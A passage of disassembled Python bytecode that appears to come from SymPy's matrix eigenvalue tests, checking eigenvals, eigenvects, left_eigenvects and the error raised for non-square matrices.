at 0x7fab801a5300, file "f.py", line 649> LOAD_CONST 'test_issue_20275' MAKE_FUNCTION STORE_NAME test_issue_20275 LOAD_CONST <code object test_issue_20752 at 0x7fab801a5390, file "f.py", line 679> LOAD_CONST 'test_issue_20752' MAKE_FUNCTION STORE_NAME test_issue_20752 LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Rational STORE_FAST R LOAD_GLOBAL Matrix LOAD_METHOD eye LOAD_CONST 3 CALL_METHOD STORE_FAST M LOAD_FAST M LOAD_ATTR eigenvals LOAD_CONST False LOAD_CONST ('multiple',) CALL_FUNCTION LOAD_GLOBAL S LOAD_ATTR One LOAD_CONST 3 BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST ('multiple',) CALL_FUNCTION LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD eigenvects CALL_METHOD LOAD_CONST 1 LOAD_CONST 3 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD left_eigenvects CALL_METHOD LOAD_CONST 1 LOAD_CONST 3 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvals CALL_METHOD LOAD_CONST 2 LOAD_GLOBAL S LOAD_ATTR One BINARY_MULTIPLY LOAD_CONST 1 LOAD_GLOBAL S LOAD_ATTR One UNARY_NEGATIVE LOAD_CONST 1 LOAD_GLOBAL S LOAD_ATTR Zero LOAD_CONST 1 BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD eigenvects CALL_METHOD LOAD_CONST -1 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST -1 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST 0 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST -1 LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST 2 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_FAST R LOAD_CONST 2 LOAD_CONST 3 CALL_FUNCTION LOAD_FAST R LOAD_CONST 1 LOAD_CONST 3 CALL_FUNCTION LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD left_eigenvects CALL_METHOD LOAD_CONST -1 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST -2 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST 0 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST -1 LOAD_CONST -1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST 2 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Symbol LOAD_CONST 'a' CALL_FUNCTION STORE_FAST a LOAD_GLOBAL Matrix LOAD_FAST a LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvals CALL_METHOD LOAD_FAST a LOAD_CONST 1 LOAD_GLOBAL S LOAD_ATTR One LOAD_CONST 1 BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST -1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 3 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvects CALL_METHOD LOAD_CONST 2 LOAD_CONST 2 LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST -1 LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD left_eigenvects CALL_METHOD LOAD_CONST 2 LOAD_CONST 2 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 6 BUILD_LIST LOAD_CONST 7 LOAD_CONST 8 LOAD_CONST 9 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST R LOAD_CONST 15 LOAD_CONST 2 CALL_FUNCTION STORE_FAST a LOAD_CONST 3 LOAD_CONST 33 LOAD_FAST R LOAD_CONST 1 LOAD_CONST 2 CALL_FUNCTION BINARY_POWER BINARY_MULTIPLY STORE_FAST b LOAD_FAST R LOAD_CONST 13 LOAD_CONST 2 CALL_FUNCTION STORE_FAST c LOAD_FAST R LOAD_CONST 33 LOAD_CONST 8 CALL_FUNCTION LOAD_CONST 3 LOAD_FAST b BINARY_MULTIPLY LOAD_CONST 8 BINARY_TRUE_DIVIDE BINARY_ADD STORE_FAST d LOAD_FAST R LOAD_CONST 33 LOAD_CONST 8 CALL_FUNCTION LOAD_CONST 3 LOAD_FAST b BINARY_MULTIPLY LOAD_CONST 8 BINARY_TRUE_DIVIDE BINARY_SUBTRACT STORE_FAST e LOAD_CONST <code object NS at 0x7fab703064b0, file "f.py", line 69> LOAD_CONST 'test_eigen.<locals>.NS' MAKE_FUNCTION STORE_DEREF NS LOAD_FAST a LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_SUBTRACT LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 12 LOAD_CONST 24 LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_SUBTRACT BINARY_TRUE_DIVIDE BINARY_ADD LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_SUBTRACT LOAD_FAST e BINARY_MULTIPLY BINARY_TRUE_DIVIDE LOAD_CONST 3 LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_SUBTRACT BINARY_TRUE_DIVIDE BINARY_ADD LOAD_CONST 6 LOAD_CONST 12 LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_SUBTRACT BINARY_TRUE_DIVIDE BINARY_ADD LOAD_FAST e BINARY_TRUE_DIVIDE LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST 0 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST -2 LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_FAST a LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_CONST 12 LOAD_CONST 24 LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD BINARY_TRUE_DIVIDE BINARY_ADD LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD LOAD_FAST d BINARY_MULTIPLY BINARY_TRUE_DIVIDE LOAD_CONST 3 LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD BINARY_TRUE_DIVIDE BINARY_ADD LOAD_CONST 6 LOAD_CONST 12 LOAD_FAST c LOAD_FAST b LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_ADD BINARY_TRUE_DIVIDE BINARY_ADD LOAD_FAST d BINARY_TRUE_DIVIDE LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST STORE_DEREF r LOAD_CLOSURE NS LOAD_CLOSURE r BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab703065d0, file "f.py", line 102> LOAD_CONST 'test_eigen.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_GLOBAL len LOAD_DEREF r CALL_FUNCTION CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST r1 LOAD_FAST M LOAD_METHOD eigenvects CALL_METHOD STORE_DEREF r LOAD_CLOSURE NS LOAD_CLOSURE r BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab70306db0, file "f.py", line 107> LOAD_CONST 'test_eigen.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_GLOBAL len LOAD_DEREF r CALL_FUNCTION CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST r2 LOAD_GLOBAL sorted LOAD_FAST r1 CALL_FUNCTION LOAD_GLOBAL sorted LOAD_FAST r2 CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Symbol LOAD_CONST 'eps' LOAD_CONST True LOAD_CONST ('real',) CALL_FUNCTION STORE_FAST eps LOAD_GLOBAL Matrix LOAD_GLOBAL abs LOAD_FAST eps CALL_FUNCTION LOAD_GLOBAL I LOAD_FAST eps BINARY_MULTIPLY BUILD_LIST LOAD_GLOBAL I UNARY_NEGATIVE LOAD_FAST eps BINARY_MULTIPLY LOAD_GLOBAL abs LOAD_FAST eps CALL_FUNCTION BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvects CALL_METHOD LOAD_CONST 0 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_GLOBAL I UNARY_NEGATIVE LOAD_FAST eps BINARY_MULTIPLY LOAD_GLOBAL abs LOAD_FAST eps CALL_FUNCTION BINARY_TRUE_DIVIDE BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST 2 LOAD_GLOBAL abs LOAD_FAST eps CALL_FUNCTION BINARY_MULTIPLY LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_GLOBAL I LOAD_FAST eps BINARY_MULTIPLY LOAD_GLOBAL abs LOAD_FAST eps CALL_FUNCTION BINARY_TRUE_DIVIDE BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD left_eigenvects CALL_METHOD LOAD_CONST 0 LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_GLOBAL I LOAD_FAST eps BINARY_MULTIPLY LOAD_GLOBAL Abs LOAD_FAST eps CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_CONST 2 LOAD_GLOBAL Abs LOAD_FAST eps CALL_FUNCTION BINARY_MULTIPLY LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_GLOBAL I UNARY_NEGATIVE LOAD_FAST eps BINARY_MULTIPLY LOAD_GLOBAL Abs LOAD_FAST eps CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 3 LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST -4 LOAD_CONST 2 BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_ATTR eigenvects LOAD_CONST False LOAD_CONST ('simplify',) CALL_FUNCTION LOAD_FAST M STORE_ATTR _eigenvects LOAD_GLOBAL max LOAD_CONST <code object <genexpr> at 0x7fab70306030, file "f.py", line 132> LOAD_CONST 'test_eigen.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST M LOAD_ATTR _eigenvects LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_ATTR eigenvects LOAD_CONST True LOAD_CONST ('simplify',) CALL_FUNCTION LOAD_FAST M STORE_ATTR _eigenvects LOAD_GLOBAL max LOAD_CONST <code object <genexpr> at 0x7fab70306390, file "f.py", line 134> LOAD_CONST 'test_eigen.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST M LOAD_ATTR _eigenvects LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_GLOBAL Rational LOAD_CONST 1 LOAD_CONST 4 CALL_FUNCTION LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvects CALL_METHOD LOAD_GLOBAL Rational LOAD_CONST 5 LOAD_CONST 8 CALL_FUNCTION LOAD_GLOBAL sqrt LOAD_CONST 73 CALL_FUNCTION LOAD_CONST 8 BINARY_TRUE_DIVIDE BINARY_SUBTRACT LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_GLOBAL sqrt LOAD_CONST 73 CALL_FUNCTION UNARY_NEGATIVE LOAD_CONST 8 BINARY_TRUE_DIVIDE LOAD_GLOBAL Rational LOAD_CONST 3 LOAD_CONST 8 CALL_FUNCTION BINARY_SUBTRACT BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE LOAD_GLOBAL Rational LOAD_CONST 5 LOAD_CONST 8 CALL_FUNCTION LOAD_GLOBAL sqrt LOAD_CONST 73 CALL_FUNCTION LOAD_CONST 8 BINARY_TRUE_DIVIDE BINARY_ADD LOAD_CONST 1 LOAD_GLOBAL Matrix LOAD_GLOBAL Rational LOAD_CONST -3 LOAD_CONST 8 CALL_FUNCTION LOAD_GLOBAL sqrt LOAD_CONST 73 CALL_FUNCTION LOAD_CONST 8 BINARY_TRUE_DIVIDE BINARY_ADD BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix BUILD_LIST CALL_FUNCTION LOAD_METHOD eigenvals CALL_METHOD BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix BUILD_LIST CALL_FUNCTION LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST ('multiple',) CALL_FUNCTION BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix BUILD_LIST CALL_FUNCTION LOAD_METHOD eigenvects CALL_METHOD BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL NonSquareMatrixError LOAD_CONST <code object <lambda> at 0x7fab8239aae0, file "f.py", line 154> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL NonSquareMatrixError LOAD_CONST <code object <lambda> at 0x7fab8239a8a0, file "f.py", line 155> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL NonSquareMatrixError LOAD_CONST <code object <lambda> at 0x7fab8239ad20, file "f.py", line 156> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL NonSquareMatrixError LOAD_CONST <code object <lambda> at 0x7fab82258150, file "f.py", line 157> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL NonSquareMatrixError LOAD_CONST <code object <lambda> at 0x7fab82258420, file "f.py", line 160> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL NonSquareMatrixError LOAD_CONST <code object <lambda> at 0x7fab82258390, file "f.py", line 164> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_GLOBAL isinstance LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST False LOAD_CONST ('simplify', 'multiple') CALL_FUNCTION LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST True LOAD_CONST ('simplify', 'multiple') CALL_FUNCTION LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST <code object <lambda> at 0x7fab82258540, file "f.py", line 170> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST False LOAD_CONST ('simplify', 'multiple') CALL_FUNCTION LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST <code object <lambda> at 0x7fab82258810, file "f.py", line 171> LOAD_CONST 'test_eigen.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST True LOAD_CONST ('simplify', 'multiple') CALL_FUNCTION LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_GLOBAL N LOAD_FAST e LOAD_FAST n CALL_FUNCTION CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 74 STORE_FAST i LOAD_DEREF NS LOAD_DEREF r LOAD_FAST i BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 CALL_FUNCTION LOAD_DEREF NS LOAD_DEREF r LOAD_FAST i BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 2 CALL_FUNCTION LOAD_CLOSURE NS BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab703066f0, file "f.py", line 102> LOAD_CONST 'test_eigen.<locals>.<listcomp>.<listcomp>' MAKE_FUNCTION LOAD_DEREF r LOAD_FAST i BINARY_SUBSCR LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR GET_ITER CALL_FUNCTION BUILD_TUPLE LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST j LOAD_DEREF NS LOAD_FAST j LOAD_CONST 2 CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 74 STORE_FAST i LOAD_DEREF NS LOAD_DEREF r LOAD_FAST i BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 CALL_FUNCTION LOAD_DEREF NS LOAD_DEREF r LOAD_FAST i BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 2 CALL_FUNCTION LOAD_CLOSURE NS BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab70306660, file "f.py", line 107> LOAD_CONST 'test_eigen.<locals>.<listcomp>.<listcomp>' MAKE_FUNCTION LOAD_DEREF r LOAD_FAST i BINARY_SUBSCR LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR GET_ITER CALL_FUNCTION BUILD_TUPLE LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST j LOAD_DEREF NS LOAD_FAST j LOAD_CONST 2 CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST i LOAD_FAST i LOAD_ATTR q YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST i LOAD_FAST i LOAD_ATTR q YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 0 LOAD_CONST 4 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_METHOD eigenvals CALL_METHOD RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 5 LOAD_CONST 6 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_METHOD eigenvals CALL_METHOD RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 0 LOAD_CONST 5 LOAD_CONST 6 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_METHOD eigenvals CALL_METHOD RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_METHOD eigenvals CALL_METHOD RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 0 LOAD_CONST 5 LOAD_CONST 6 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_ATTR eigenvals LOAD_CONST False LOAD_CONST ('error_when_incomplete',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION LOAD_ATTR eigenvals LOAD_CONST False LOAD_CONST ('error_when_incomplete',) CALL_FUNCTION RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('count_ops',) IMPORT_NAME sympy.core.function IMPORT_FROM count_ops STORE_FAST count_ops POP_TOP LOAD_GLOBAL Symbol LOAD_CONST 'q' LOAD_CONST True LOAD_CONST ('positive',) CALL_FUNCTION STORE_FAST q LOAD_GLOBAL Matrix LOAD_CONST -2 LOAD_GLOBAL exp LOAD_FAST q UNARY_NEGATIVE CALL_FUNCTION LOAD_CONST 1 BUILD_LIST LOAD_GLOBAL exp LOAD_FAST q CALL_FUNCTION LOAD_CONST -2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST -2 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST count_ops LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST False LOAD_CONST ('simplify',) CALL_FUNCTION CALL_FUNCTION LOAD_FAST count_ops LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST ('simplify',) CALL_FUNCTION CALL_FUNCTION COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST count_ops LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST <code object <lambda> at 0x7fab82258300, file "f.py", line 183> LOAD_CONST 'test_eigen_slow.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('simplify',) CALL_FUNCTION CALL_FUNCTION LOAD_FAST count_ops LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST ('simplify',) CALL_FUNCTION CALL_FUNCTION COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0.6 LOAD_CONST 0.6 BUILD_LIST LOAD_CONST 0.6 LOAD_CONST 0.9 LOAD_CONST 0.9 BUILD_LIST LOAD_CONST 0.9 LOAD_CONST 0.6 LOAD_CONST 0.6 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_GLOBAL Rational LOAD_CONST 5 LOAD_CONST 4 CALL_FUNCTION LOAD_GLOBAL sqrt LOAD_CONST 385 CALL_FUNCTION LOAD_CONST 20 BINARY_TRUE_DIVIDE BINARY_SUBTRACT LOAD_GLOBAL sqrt LOAD_CONST 385 CALL_FUNCTION LOAD_CONST 20 BINARY_TRUE_DIVIDE LOAD_GLOBAL Rational LOAD_CONST 5 LOAD_CONST 4 CALL_FUNCTION BINARY_ADD LOAD_GLOBAL S LOAD_ATTR Zero BUILD_LIST STORE_FAST evals LOAD_FAST m LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST True LOAD_CONST ('rational', 'multiple') CALL_FUNCTION STORE_FAST n_evals LOAD_GLOBAL sorted LOAD_FAST n_evals CALL_FUNCTION STORE_FAST n_evals LOAD_CONST <code object <listcomp> at 0x7fab82258780, file "f.py", line 194> LOAD_CONST 'test_float_eigenvals.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST evals GET_ITER CALL_FUNCTION STORE_FAST s_evals LOAD_GLOBAL sorted LOAD_FAST s_evals CALL_FUNCTION STORE_FAST s_evals SETUP_LOOP to 168 LOAD_GLOBAL zip LOAD_FAST n_evals LOAD_FAST s_evals CALL_FUNCTION GET_ITER FOR_ITER to 166 UNPACK_SEQUENCE STORE_FAST x STORE_FAST y 